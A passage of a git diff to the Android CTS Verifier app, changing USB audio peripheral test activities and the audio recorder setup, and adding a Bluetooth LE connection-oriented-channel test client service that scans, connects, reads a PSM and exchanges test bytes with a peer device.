-        mPlayBtn.setEnabled(mIsPeripheralAttached);
-        getPassButton().setEnabled(mIsPeripheralAttached);
+        mPlayBtn.setEnabled(mIsPeripheralAttached && mSelectedProfile != null);
+        getPassButton().setEnabled(mSelectedProfile != null && mOutputDevInfo != null);
     }
 
     public class LocalClickListener implements View.OnClickListener {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayerActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayerActivity.java
index fc666aa..33417d1 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayerActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayerActivity.java
@@ -41,10 +41,6 @@
 
     private static final int WAVBUFF_SIZE_IN_SAMPLES = 2048;
 
-    public USBAudioPeripheralPlayerActivity(boolean requiresMandatePeripheral) {
-        super(requiresMandatePeripheral); // Mandated peripheral is NOT required
-    }
-
     protected void setupPlayer() {
         mSystemBufferSize =
             StreamPlayer.calcNumBurstFrames((AudioManager)getSystemService(Context.AUDIO_SERVICE));
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java
index 268201c..5772461 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java
@@ -49,10 +49,6 @@
 
     private WaveScopeView mWaveView = null;
 
-    public USBAudioPeripheralRecordActivity() {
-        super(false); // Mandated peripheral is NOT required
-    }
-
     private void connectWaveView() {
         // Log.i(TAG, "connectWaveView() rec:" + (mRecorder != null));
         if (mRecorder != null) {
@@ -77,12 +73,7 @@
             mRecorder.stop();
         }
 
-        // no reason to do more than 2
         int numChans = USBDeviceInfoHelper.calcMaxChannelCount(mInputDevInfo);
-        if (numChans > 2) {
-            numChans = 2;
-        }
-        Log.i(TAG, "  numChans:" + numChans);
 
         if (mRecorder.open(numChans, mSystemSampleRate, mSystemBufferSize)) {
             connectWaveView();  // Setup the WaveView
@@ -145,9 +136,9 @@
     // USBAudioPeripheralActivity
     //
     public void updateConnectStatus() {
-        mRecordBtn.setEnabled(mIsPeripheralAttached);
-        mRecordLoopbackBtn.setEnabled(mIsPeripheralAttached);
-        getPassButton().setEnabled(mIsPeripheralAttached);
+        mRecordBtn.setEnabled(mIsPeripheralAttached && mSelectedProfile != null);
+        mRecordLoopbackBtn.setEnabled(mIsPeripheralAttached && mSelectedProfile != null);
+        getPassButton().setEnabled(mSelectedProfile != null && mOutputDevInfo != null);
     }
 
     public class LocalClickListener implements View.OnClickListener {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioUtils.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioUtils.java
index 55b7f9a..7190af9 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioUtils.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioUtils.java
@@ -32,6 +32,9 @@
     }
 
     public static int countToIndexMask(int chanCount) {
+        // From the documentation for AudioFormat:
+        // The canonical channel index masks by channel count are given by the formula
+        // (1 << channelCount) - 1.
         return (1 << chanCount) - 1;
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorder.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorder.java
index 2ec742e..7cdff34 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorder.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorder.java
@@ -120,30 +120,19 @@
         mNumChannels = numChans;
         mSampleRate = sampleRate;
 
-        final int frameSize =
-                AudioUtils.calcFrameSizeInBytes(AudioFormat.ENCODING_PCM_FLOAT, mNumChannels);
-        final int bufferSizeInBytes = frameSize * 64;   // Some, non-critical value
-
-        AudioFormat.Builder formatBuilder = new AudioFormat.Builder();
-        formatBuilder.setEncoding(AudioFormat.ENCODING_PCM_FLOAT);
-        formatBuilder.setSampleRate(mSampleRate);
-
-        if (numChans <= 2) {
-            // There is currently a bug causing channel INDEX masks to fail.
-            // for channels counts of <= 2, use channel POSITION
-            final int chanPosMask = AudioUtils.countToInPositionMask(numChans);
-            formatBuilder.setChannelMask(chanPosMask);
-        } else {
-            // There are no INPUT channel-position masks for > 2 channels
-            final int chanIndexMask = AudioUtils.countToIndexMask(numChans);
-            formatBuilder.setChannelIndexMask(chanIndexMask);
-        }
-
-        AudioRecord.Builder builder = new AudioRecord.Builder();
-        builder.setAudioFormat(formatBuilder.build());
+        int chanIndexMask = AudioUtils.countToIndexMask(numChans);
+        int bufferSizeInBytes = 2048;   // Some, non-critical value
 
         try {
-            mAudioRecord = builder.build();
+            mAudioRecord = new AudioRecord.Builder()
+                    .setAudioFormat(new AudioFormat.Builder()
+                            .setEncoding(AudioFormat.ENCODING_PCM_FLOAT)
+                            .setSampleRate(mSampleRate)
+                            .setChannelIndexMask(chanIndexMask)
+                            .build())
+                    .setBufferSizeInBytes(bufferSizeInBytes)
+                    .build();
+
             return true;
         } catch (UnsupportedOperationException ex) {
             Log.e(TAG, "Couldn't open AudioRecord: " + ex);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocClientService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocClientService.java
new file mode 100644
index 0000000..183cebd
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocClientService.java
@@ -0,0 +1,725 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.bluetooth;
+
+import java.util.Arrays;
+import java.util.List;
+import java.util.Set;
+import java.util.UUID;
+
+import java.io.ByteArrayOutputStream;
+
+import com.android.cts.verifier.R;
+
+import android.app.Service;
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothDevice;
+import android.bluetooth.BluetoothGatt;
+import android.bluetooth.BluetoothGattCallback;
+import android.bluetooth.BluetoothGattCharacteristic;
+import android.bluetooth.BluetoothGattDescriptor;
+import android.bluetooth.BluetoothGattService;
+import android.bluetooth.BluetoothManager;
+import android.bluetooth.BluetoothProfile;
+import android.bluetooth.BluetoothSocket;
+import android.bluetooth.le.BluetoothLeScanner;
+import android.bluetooth.le.ScanCallback;
+import android.bluetooth.le.ScanFilter;
+import android.bluetooth.le.ScanResult;
+import android.bluetooth.le.ScanSettings;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Build;
+import android.os.Handler;
+import android.os.IBinder;
+import android.os.Message;
+import android.os.ParcelUuid;
+import android.text.TextUtils;
+import android.util.Log;
+import android.widget.Toast;
+
+public class BleCocClientService extends Service {
+
+    public static final boolean DEBUG = true;
+    public static final String TAG = "BleCocClientService";
+
+    private static final int TRANSPORT_MODE_FOR_SECURE_CONNECTION = BluetoothDevice.TRANSPORT_LE;
+
+    public static final String BLE_LE_CONNECTED =
+            "com.android.cts.verifier.bluetooth.BLE_LE_CONNECTED";
+    public static final String BLE_GOT_PSM =
+            "com.android.cts.verifier.bluetooth.BLE_GOT_PSM";
+    public static final String BLE_COC_CONNECTED =
+            "com.android.cts.verifier.bluetooth.BLE_COC_CONNECTED";
+    public static final String BLE_CONNECTION_TYPE_CHECKED =
+            "com.android.cts.verifier.bluetooth.BLE_CONNECTION_TYPE_CHECKED";
+    public static final String BLE_DATA_8BYTES_SENT =
+            "com.android.cts.verifier.bluetooth.BLE_DATA_8BYTES_SENT";
+    public static final String BLE_DATA_8BYTES_READ =
+            "com.android.cts.verifier.bluetooth.BLE_DATA_8BYTES_READ";
+    public static final String BLE_DATA_LARGEBUF_READ =
+            "com.android.cts.verifier.bluetooth.BLE_DATA_LARGEBUF_READ";
+    public static final String BLE_LE_DISCONNECTED =
+            "com.android.cts.verifier.bluetooth.BLE_LE_DISCONNECTED";
+
+    public static final String BLE_BLUETOOTH_MISMATCH_SECURE =
+            "com.android.cts.verifier.bluetooth.BLE_BLUETOOTH_MISMATCH_SECURE";
+    public static final String BLE_BLUETOOTH_MISMATCH_INSECURE =
+            "com.android.cts.verifier.bluetooth.BLE_BLUETOOTH_MISMATCH_INSECURE";
+    public static final String BLE_BLUETOOTH_DISABLED =
+            "com.android.cts.verifier.bluetooth.BLE_BLUETOOTH_DISABLED";
+    public static final String BLE_GATT_CONNECTED =
+            "com.android.cts.verifier.bluetooth.BLE_GATT_CONNECTED";
+    public static final String BLE_BLUETOOTH_DISCONNECTED =
+            "com.android.cts.verifier.bluetooth.BLE_BLUETOOTH_DISCONNECTED";
+    public static final String BLE_CLIENT_ERROR =
+            "com.android.cts.verifier.bluetooth.BLE_CLIENT_ERROR";
+    public static final String EXTRA_COMMAND =
+            "com.android.cts.verifier.bluetooth.EXTRA_COMMAND";
+    public static final String EXTRA_WRITE_VALUE =
+            "com.android.cts.verifier.bluetooth.EXTRA_WRITE_VALUE";
+    public static final String EXTRA_BOOL =
+            "com.android.cts.verifier.bluetooth.EXTRA_BOOL";
+
+    // Literal for Client Action
+    public static final String BLE_COC_CLIENT_ACTION_LE_INSECURE_CONNECT =
+            "com.android.cts.verifier.bluetooth.BLE_COC_CLIENT_ACTION_LE_INSECURE_CONNECT";
+    public static final String BLE_COC_CLIENT_ACTION_LE_SECURE_CONNECT =
+            "com.android.cts.verifier.bluetooth.BLE_COC_CLIENT_ACTION_LE_SECURE_CONNECT";
+    public static final String BLE_COC_CLIENT_ACTION_GET_PSM =
+            "com.android.cts.verifier.bluetooth.BLE_COC_CLIENT_ACTION_GET_PSM";
+    public static final String BLE_COC_CLIENT_ACTION_COC_CLIENT_CONNECT =
+            "com.android.cts.verifier.bluetooth.BLE_COC_CLIENT_ACTION_COC_CLIENT_CONNECT";
+    public static final String BLE_COC_CLIENT_ACTION_CHECK_CONNECTION_TYPE =
+            "com.android.cts.verifier.bluetooth.BLE_COC_CLIENT_ACTION_CHECK_CONNECTION_TYPE";
+    public static final String BLE_COC_CLIENT_ACTION_SEND_DATA_8BYTES =
+            "com.android.cts.verifier.bluetooth.BLE_COC_CLIENT_ACTION_SEND_DATA_8BYTES";
+    public static final String BLE_COC_CLIENT_ACTION_READ_DATA_8BYTES =
+            "com.android.cts.verifier.bluetooth.BLE_COC_CLIENT_ACTION_READ_DATA_8BYTES";
+    public static final String BLE_COC_CLIENT_ACTION_EXCHANGE_DATA =
+            "com.android.cts.verifier.bluetooth.BLE_COC_CLIENT_ACTION_EXCHANGE_DATA";
+    public static final String BLE_COC_CLIENT_ACTION_CLIENT_CONNECT =
+            "com.android.cts.verifier.bluetooth.BLE_COC_CLIENT_ACTION_CLIENT_CONNECT";
+    public static final String BLE_COC_CLIENT_ACTION_CLIENT_CONNECT_SECURE =
+            "com.android.cts.verifier.bluetooth.BLE_COC_CLIENT_ACTION_CLIENT_CONNECT_SECURE";
+    public static final String BLE_CLIENT_ACTION_CLIENT_DISCONNECT =
+            "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_CLIENT_DISCONNECT";
+
+    private static final UUID SERVICE_UUID =
+            UUID.fromString("00009999-0000-1000-8000-00805f9b34fb");
+
+    /**
+     * UUID of the GATT Read Characteristics for LE_PSM value.
+     */
+    public static final UUID LE_PSM_CHARACTERISTIC_UUID =
+            UUID.fromString("2d410339-82b6-42aa-b34e-e2e01df8cc1a");
+
+    public static final String WRITE_VALUE = "CLIENT_TEST";
+    private static final String NOTIFY_VALUE = "NOTIFY_TEST";
+    private int mBleState = BluetoothProfile.STATE_DISCONNECTED;
+    private static final int EXECUTION_DELAY = 1500;
+
+    // current test category
+    private String mCurrentAction;
+
+    private BluetoothManager mBluetoothManager;
+    private BluetoothAdapter mBluetoothAdapter;
+    private BluetoothDevice mDevice;
+    private BluetoothGatt mBluetoothGatt;
+    private BluetoothLeScanner mScanner;
+    private Handler mHandler;
+    private boolean mSecure;
+    private boolean mValidityService;
+    private int mPsm;
+    private BluetoothChatService mChatService;
+    private int mNextReadExpectedLen = -1;
+    private String mNextReadCompletionIntent;
+    private int mTotalReadLen = 0;
+    private byte mNextReadByte;
+    private int mNextWriteExpectedLen = -1;
+    private String mNextWriteCompletionIntent = null;
+
+    // Handler for communicating task with peer.
+    private TestTaskQueue mTaskQueue;
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+
+        registerReceiver(mBondStatusReceiver,
+                         new IntentFilter(BluetoothDevice.ACTION_BOND_STATE_CHANGED));
+
+        mBluetoothManager = (BluetoothManager) getSystemService(Context.BLUETOOTH_SERVICE);
+        mBluetoothAdapter = mBluetoothManager.getAdapter();
+        mScanner = mBluetoothAdapter.getBluetoothLeScanner();
+        mHandler = new Handler();
+
+        mTaskQueue = new TestTaskQueue(getClass().getName() + "_taskHandlerThread");
+    }
+
+    @Override
+    public int onStartCommand(final Intent intent, int flags, int startId) {
+        if (!mBluetoothAdapter.isEnabled()) {
+            notifyBluetoothDisabled();
+        } else {
+            mTaskQueue.addTask(new Runnable() {
+                @Override
+                public void run() {
+                    onTestFinish(intent.getAction());
+                }
+            }, EXECUTION_DELAY);
+        }
+        return START_NOT_STICKY;
+    }
+
+    private void onTestFinish(String action) {
+        mCurrentAction = action;
+        if (mCurrentAction != null) {
+            switch (mCurrentAction) {
+                case BLE_COC_CLIENT_ACTION_LE_INSECURE_CONNECT:
+                    mSecure = false;
+                    startScan();
+                    break;
+                case BLE_COC_CLIENT_ACTION_LE_SECURE_CONNECT:
+                    mSecure = true;
+                    startScan();
+                    break;
+                case BLE_COC_CLIENT_ACTION_GET_PSM:
+                    startLeDiscovery();
+                    break;
+                case BLE_COC_CLIENT_ACTION_COC_CLIENT_CONNECT:
+                    leCocClientConnect();
+                    break;
+                case BLE_COC_CLIENT_ACTION_CHECK_CONNECTION_TYPE:
+                    leCheckConnectionType();
+                    break;
+                case BLE_COC_CLIENT_ACTION_SEND_DATA_8BYTES:
+                    sendData8bytes();
+                    break;
+                case BLE_COC_CLIENT_ACTION_READ_DATA_8BYTES:
+                    readData8bytes();
+                    break;
+                case BLE_COC_CLIENT_ACTION_EXCHANGE_DATA:
+                    sendDataLargeBuf();
+                    readDataLargeBuf();
+                    break;
+                case BLE_CLIENT_ACTION_CLIENT_DISCONNECT:
+                    if (mBluetoothGatt != null) {
+                        mBluetoothGatt.disconnect();
+                    }
+                    if (mChatService != null) {
+                        mChatService.stop();
+                    }
+                    break;
+                default:
+                    Log.e(TAG, "Error: Unhandled or invalid action=" + mCurrentAction);
+            }
+        }
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+        if (mBluetoothGatt != null) {
+            mBluetoothGatt.disconnect();
+            mBluetoothGatt.close();
+            mBluetoothGatt = null;
+        }
+        stopScan();
+        unregisterReceiver(mBondStatusReceiver);
+
+        if (mChatService != null) {
+            mChatService.stop();
+        }
+
+        mTaskQueue.quit();
+    }
+
+    public static BluetoothGatt connectGatt(BluetoothDevice device, Context context,
+                                            boolean autoConnect, boolean isSecure,
+                                            BluetoothGattCallback callback) {
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
+            if (isSecure) {
+                if (TRANSPORT_MODE_FOR_SECURE_CONNECTION == BluetoothDevice.TRANSPORT_AUTO) {
+                    Toast.makeText(context, "connectGatt(transport=AUTO)", Toast.LENGTH_SHORT)
+                    .show();
+                } else {
+                    Toast.makeText(context, "connectGatt(transport=LE)", Toast.LENGTH_SHORT).show();
+                }
+                return device.connectGatt(context, autoConnect, callback,
+                                          TRANSPORT_MODE_FOR_SECURE_CONNECTION);
+            } else {
+                Toast.makeText(context, "connectGatt(transport=LE)", Toast.LENGTH_SHORT).show();
+                return device.connectGatt(context, autoConnect, callback,
+                                          BluetoothDevice.TRANSPORT_LE);
+            }
+        } else {
+            Toast.makeText(context, "connectGatt", Toast.LENGTH_SHORT).show();
+            return device.connectGatt(context, autoConnect, callback);
+        }
+    }
+
+    private void readCharacteristic(UUID uuid) {
+        BluetoothGattCharacteristic characteristic = getCharacteristic(uuid);
+        if (characteristic != null) {
+            mBluetoothGatt.readCharacteristic(characteristic);
+        }
+    }
+
+    private void notifyError(String message) {
+        showMessage(message);
+        Log.e(TAG, message);
+
+        Intent intent = new Intent(BLE_CLIENT_ERROR);
+        sendBroadcast(intent);
+    }
+
+    private void notifyMismatchSecure() {
+        Intent intent = new Intent(BLE_BLUETOOTH_MISMATCH_SECURE);
+        sendBroadcast(intent);
+    }
+
+    private void notifyMismatchInsecure() {
+        Intent intent = new Intent(BLE_BLUETOOTH_MISMATCH_INSECURE);
+        sendBroadcast(intent);
+    }
+
+    private void notifyBluetoothDisabled() {
+        Intent intent = new Intent(BLE_BLUETOOTH_DISABLED);
+        sendBroadcast(intent);
+    }
+
+    private void notifyConnected() {
+        showMessage("Bluetooth LE GATT connected");
+        Intent intent = new Intent(BLE_LE_CONNECTED);
+        sendBroadcast(intent);
+    }
+
+    private void startLeDiscovery() {
+        // Start Service Discovery
+        if (mBluetoothGatt != null && mBleState == BluetoothProfile.STATE_CONNECTED) {
+            mBluetoothGatt.discoverServices();
+        } else {
+            showMessage("Bluetooth LE GATT not connected.");
+        }
+    }
+
+    private void notifyDisconnected() {
+        showMessage("Bluetooth LE disconnected");
+        Intent intent = new Intent(BLE_BLUETOOTH_DISCONNECTED);
+        sendBroadcast(intent);
+    }
+
+    private void notifyServicesDiscovered() {
+        showMessage("Service discovered");
+        // Find the LE_COC_PSM characteristics
+        if (DEBUG) {
+            Log.d(TAG, "notifyServicesDiscovered: Next step is to read the PSM char.");
+        }
+        readCharacteristic(LE_PSM_CHARACTERISTIC_UUID);
+    }
+
+    private BluetoothGattService getService() {
+        BluetoothGattService service = null;
+
+        if (mBluetoothGatt != null) {
+            service = mBluetoothGatt.getService(SERVICE_UUID);
+            if (service == null) {
+                showMessage("GATT Service not found");
+            }
+        }
+        return service;
+    }
+
+    private BluetoothGattCharacteristic getCharacteristic(UUID uuid) {
+        BluetoothGattCharacteristic characteristic = null;
+
+        BluetoothGattService service = getService();
+        if (service != null) {
+            characteristic = service.getCharacteristic(uuid);
+            if (characteristic == null) {
+                showMessage("Characteristic not found");
+            }
+        }
+        return characteristic;
+    }
+
+    private void showMessage(final String msg) {
+        mHandler.post(new Runnable() {
+            public void run() {
+                Toast.makeText(BleCocClientService.this, msg, Toast.LENGTH_SHORT).show();
+            }
+        });
+    }
+
+    private final BluetoothGattCallback mGattCallbacks = new BluetoothGattCallback() {
+        @Override
+        public void onConnectionStateChange(BluetoothGatt gatt, int status, int newState) {
+            if (DEBUG) {
+                Log.d(TAG, "onConnectionStateChange: status=" + status + ", newState=" + newState);
+            }
+            if (status == BluetoothGatt.GATT_SUCCESS) {
+                if (newState == BluetoothProfile.STATE_CONNECTED) {
+                    mBleState = newState;
+                    int bondState = gatt.getDevice().getBondState();
+                    boolean bonded = false;
+                    BluetoothDevice target = gatt.getDevice();
+                    Set<BluetoothDevice> pairedDevices = mBluetoothAdapter.getBondedDevices();
+                    if (!pairedDevices.isEmpty()) {
+                        for (BluetoothDevice device : pairedDevices) {
+                            if (device.getAddress().equals(target.getAddress())) {
+                                bonded = true;
+                                break;
+                            }
+                        }
+                    }
+                    if (mSecure && ((bondState == BluetoothDevice.BOND_NONE) || !bonded)) {
+                        // not pairing and execute Secure Test
+                        Log.e(TAG, "BluetoothGattCallback.onConnectionStateChange: "
+                              + "Not paired but execute secure test");
+                        mBluetoothGatt.disconnect();
+                        notifyMismatchSecure();
+                    } else if (!mSecure && ((bondState != BluetoothDevice.BOND_NONE) || bonded)) {
+                        // already pairing and execute Insecure Test
+                        Log.e(TAG, "BluetoothGattCallback.onConnectionStateChange: "
+                              + "Paired but execute insecure test");
+                        mBluetoothGatt.disconnect();
+                        notifyMismatchInsecure();
+                    } else {
+                        notifyConnected();
+                    }
+                } else if (status == BluetoothProfile.STATE_DISCONNECTED) {
+                    mBleState = newState;
+                    mSecure = false;
+                    mBluetoothGatt.close();
+                    notifyDisconnected();
+                }
+            } else {
+                showMessage("Failed to connect: " + status + " , newState = " + newState);
+                mBluetoothGatt.close();
+                mBluetoothGatt = null;
+            }
+        }
+
+        @Override
+        public void onServicesDiscovered(BluetoothGatt gatt, int status) {
+            if (DEBUG) {
+                Log.d(TAG, "onServicesDiscovered: status=" + status);
+            }
+            if ((status == BluetoothGatt.GATT_SUCCESS) &&
+                (mBluetoothGatt.getService(SERVICE_UUID) != null)) {
+                notifyServicesDiscovered();
+            }
+        }
+
+        @Override
+        public void onCharacteristicRead(BluetoothGatt gatt,
+                BluetoothGattCharacteristic characteristic, int status) {
+            UUID uid = characteristic.getUuid();
+            if (DEBUG) {
+                Log.d(TAG, "onCharacteristicRead: status=" + status + ", uuid=" + uid);
+            }
+            if (status == BluetoothGatt.GATT_SUCCESS) {
+                String value = characteristic.getStringValue(0);
+                if (characteristic.getUuid().equals(LE_PSM_CHARACTERISTIC_UUID)) {
+                    mPsm = characteristic.getIntValue(BluetoothGattCharacteristic.FORMAT_UINT8, 0);
+                    if (DEBUG) {
+                        Log.d(TAG, "onCharacteristicRead: reading PSM=" + mPsm);
+                    }
+                    Intent intent = new Intent(BLE_GOT_PSM);
+                    sendBroadcast(intent);
+                } else {
+                    if (DEBUG) {
+                        Log.d(TAG, "onCharacteristicRead: Note: unknown uuid=" + uid);
+                    }
+                }
+            } else if (status == BluetoothGatt.GATT_READ_NOT_PERMITTED) {
+                notifyError("Not Permission Read: " + status + " : " + uid);
+            } else if (status == BluetoothGatt.GATT_INSUFFICIENT_AUTHENTICATION) {
+                notifyError("Not Authentication Read: " + status + " : " + uid);
+            } else {
+                notifyError("Failed to read characteristic: " + status + " : " + uid);
+            }
+        }
+    };
+
+    private final ScanCallback mScanCallback = new ScanCallback() {
+        @Override
+        public void onScanResult(int callbackType, ScanResult result) {
+            if (mBluetoothGatt == null) {
+                // verify the validity of the advertisement packet.
+                mValidityService = false;
+                List<ParcelUuid> uuids = result.getScanRecord().getServiceUuids();
+                for (ParcelUuid uuid : uuids) {
+                    if (uuid.getUuid().equals(BleCocServerService.ADV_COC_SERVICE_UUID)) {
+                        if (DEBUG) {
+                            Log.d(TAG, "onScanResult: Found ADV with LE CoC Service UUID.");
+                        }
+                        mValidityService = true;
+                        break;
+                    }
+                }
+                if (mValidityService) {
+                    stopScan();
+
+                    BluetoothDevice device = result.getDevice();
+                    if (DEBUG) {
+                        Log.d(TAG, "onScanResult: Found ADV with CoC UUID on device="
+                              + device);
+                    }
+                    if (mSecure) {
+                        if (device.getBondState() != BluetoothDevice.BOND_BONDED) {
+                            if (!device.createBond()) {
+                                notifyError("Failed to call create bond");
+                            }
+                        } else {
+                            mDevice = device;
+                            mBluetoothGatt = connectGatt(result.getDevice(), BleCocClientService.this, false,
+                                                         mSecure, mGattCallbacks);
+                        }
+                    } else {
+                        mDevice = device;
+                        mBluetoothGatt = connectGatt(result.getDevice(), BleCocClientService.this, false, mSecure,
+                                                     mGattCallbacks);
+                    }
+                } else {
+                    notifyError("No valid service in Advertisement");
+                }
+            }
+        }
+    };
+
+    private boolean checkReadBufContent(byte[] buf, int len) {
+        // Check that the content is correct
+        for (int i = 0; i < len; i++) {
+            if (buf[i] != mNextReadByte) {
+                Log.e(TAG, "handleMessageRead: Error: wrong byte content. buf["
+                      + i + "]=" + buf[i] + " not equal to " + mNextReadByte);
+                return false;
+            }
+            mNextReadByte++;
+        }
+        return true;
+    }
+
+    private void handleMessageRead(Message msg) {
+        byte[] buf = (byte[])msg.obj;
+        int len = msg.arg1;
+        if (len <= 0) {
+            return;
+        }
+        mTotalReadLen += len;
+        if (DEBUG) {
+            Log.d(TAG, "handleMessageRead: receive buffer of length=" + len + ", mTotalReadLen="
+                  + mTotalReadLen + ", mNextReadExpectedLen=" + mNextReadExpectedLen);
+        }
+
+        if (mNextReadExpectedLen == mTotalReadLen) {
+            if (!checkReadBufContent(buf, len)) {
+                mNextReadExpectedLen = -1;
+                return;
+            }
+            showMessage("Read " + len + " bytes");
+            if (DEBUG) {
+                Log.d(TAG, "handleMessageRead: broadcast intent " + mNextReadCompletionIntent);
+            }
+            Intent intent = new Intent(mNextReadCompletionIntent);
+            sendBroadcast(intent);
+            mNextReadExpectedLen = -1;
+            mNextReadCompletionIntent = null;
+            mTotalReadLen = 0;
+        } else if (mNextReadExpectedLen > mTotalReadLen) {
+            if (!checkReadBufContent(buf, len)) {
+                mNextReadExpectedLen = -1;
+                return;
+            }
+        } else if (mNextReadExpectedLen < mTotalReadLen) {
+            Log.e(TAG, "handleMessageRead: Unexpected receive buffer of length=" + len
+                  + ", expected len=" + mNextReadExpectedLen);
+        }
+    }
+
+    private void sendMessage(byte[] buf) {
+        mChatService.write(buf);
+    }
+
+    private void handleMessageWrite(Message msg) {
+        byte[] buffer = (byte[]) msg.obj;
+        int len = buffer.length;
+
+        showMessage("LE Coc Client wrote " + len + " bytes");
+        if (len == mNextWriteExpectedLen) {
+            if (mNextWriteCompletionIntent != null) {
+                Intent intent = new Intent(mNextWriteCompletionIntent);
+                sendBroadcast(intent);
+            }
+        } else {
+            Log.d(TAG, "handleMessageWrite: unrecognized length=" + len);
+        }
+    }
+
+    private class ChatHandler extends Handler {
+        @Override
+        public void handleMessage(Message msg) {
+            super.handleMessage(msg);
+            if (DEBUG) {
+                Log.d(TAG, "ChatHandler.handleMessage: msg=" + msg);
+            }
+            int state = msg.arg1;
+            switch (msg.what) {
+            case BluetoothChatService.MESSAGE_STATE_CHANGE:
+                if (state == BluetoothChatService.STATE_CONNECTED) {
+                    // LE CoC is established
+                    notifyLeCocClientConnected();
+                }
+                break;
+            case BluetoothChatService.MESSAGE_READ:
+                handleMessageRead(msg);
+                break;
+            case BluetoothChatService.MESSAGE_WRITE:
+                handleMessageWrite(msg);
+                break;
+            }
+        }
+    }
+
+    private void notifyLeCocClientConnected() {
+        if (DEBUG) {
+            Log.d(TAG, "notifyLeCocClientConnected: device=" + mDevice + ", mSecure=" + mSecure);
+        }
+        showMessage("Bluetooth LE Coc connected");
+        Intent intent = new Intent(BLE_COC_CONNECTED);
+        sendBroadcast(intent);
+    }
+
+    private void leCocClientConnect() {
+        if (DEBUG) {
+            Log.d(TAG, "leCocClientConnect: device=" + mDevice + ", mSecure=" + mSecure);
+        }
+        if (mDevice == null) {
+            Log.e(TAG, "leCocClientConnect: mDevice is null");
+            return;
+        }
+        // Construct BluetoothChatService with useBle=true parameter
+        mChatService = new BluetoothChatService(this, new ChatHandler(), true);
+        mChatService.connect(mDevice, mSecure, mPsm);
+    }
+
+    private void leCheckConnectionType() {
+        if (mChatService == null) {
+            Log.e(TAG, "leCheckConnectionType: no LE Coc connection");
+            return;
+        }
+        int type = mChatService.getSocketConnectionType();
+        if (type != BluetoothSocket.TYPE_L2CAP) {
+            Log.e(TAG, "leCheckConnectionType: invalid connection type=" + type);
+            return;
+        }
+        showMessage("LE Coc Connection Type Checked");
+        Intent intent = new Intent(BLE_CONNECTION_TYPE_CHECKED);
+        sendBroadcast(intent);
+    }
+
+    private void sendData8bytes() {
+        if (DEBUG) Log.d(TAG, "sendData8bytes");
+
+        final byte[] buf = new byte[]{1, 2, 3, 4, 5, 6, 7, 8};
+        mNextWriteExpectedLen = 8;
+        mNextWriteCompletionIntent = BLE_DATA_8BYTES_SENT;
+        sendMessage(buf);
+    }
+
+    private void sendDataLargeBuf() {
+        final int len = BleCocServerService.TEST_DATA_EXCHANGE_BUFSIZE;
+        if (DEBUG) Log.d(TAG, "sendDataLargeBuf of size=" + len);
+
+        byte[] buf = new byte[len];
+        for (int i = 0; i < len; i++) {
+            buf[i] = (byte)(i + 1);
+        }
+        mNextWriteExpectedLen = len;
+        mNextWriteCompletionIntent = null;
+        sendMessage(buf);
+    }
+
+    private void readData8bytes() {
+        mNextReadExpectedLen = 8;
+        mNextReadCompletionIntent = BLE_DATA_8BYTES_READ;
+        mNextReadByte = 1;
+    }
+
+    private void readDataLargeBuf() {
+        mNextReadExpectedLen = BleCocServerService.TEST_DATA_EXCHANGE_BUFSIZE;
+        mNextReadCompletionIntent = BLE_DATA_LARGEBUF_READ;
+        mNextReadByte = 1;
+    }
+
+    private void startScan() {
+        if (DEBUG) Log.d(TAG, "startScan");
+        List<ScanFilter> filter = Arrays.asList(new ScanFilter.Builder().setServiceUuid(
+                new ParcelUuid(BleCocServerService.ADV_COC_SERVICE_UUID)).build());
+        ScanSettings setting = new ScanSettings.Builder()
+                .setScanMode(ScanSettings.SCAN_MODE_LOW_LATENCY).build();
+        mScanner.startScan(filter, setting, mScanCallback);
+    }
+
+    private void stopScan() {
+        if (DEBUG) Log.d(TAG, "stopScan");
+        if (mScanner != null) {
+            mScanner.stopScan(mScanCallback);
+        }
+    }
+
+    private final BroadcastReceiver mBondStatusReceiver = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            if (intent.getAction().equals(BluetoothDevice.ACTION_BOND_STATE_CHANGED)) {
